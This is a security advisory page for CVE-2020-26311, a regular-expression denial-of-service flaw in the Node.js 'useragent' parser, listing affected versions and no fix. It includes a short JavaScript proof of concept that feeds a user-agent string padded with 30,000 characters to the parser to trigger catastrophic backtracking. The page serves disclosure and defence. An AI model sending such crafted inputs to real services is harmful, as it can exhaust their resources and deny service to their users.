Advisory

GHSA-mgfv-m47x-4wqp

Also known as: CVE-2020-26311

Summary

useragent Regular Expression Denial of Service vulnerability

Details

Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).

PoC

async function exploit() {
   const useragent = require(\"useragent\");

   // Create a malicious user-agent that leads to excessive backtracking
   const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';

   // Parse the malicious user-agent
   const agent = useragent.parse(maliciousUserAgent);

   // Call the toString method to trigger the vulnerability
   const result = await agent.device.toString();
   console.log(result);
}

await exploit();

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2024-10-26 21:30 UTC
Modified
2025-09-03 15:17 UTC

Affected packages and fixes

useragent

npm · All systems

Affected

  • introduced 0, last affected 2.3.0 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences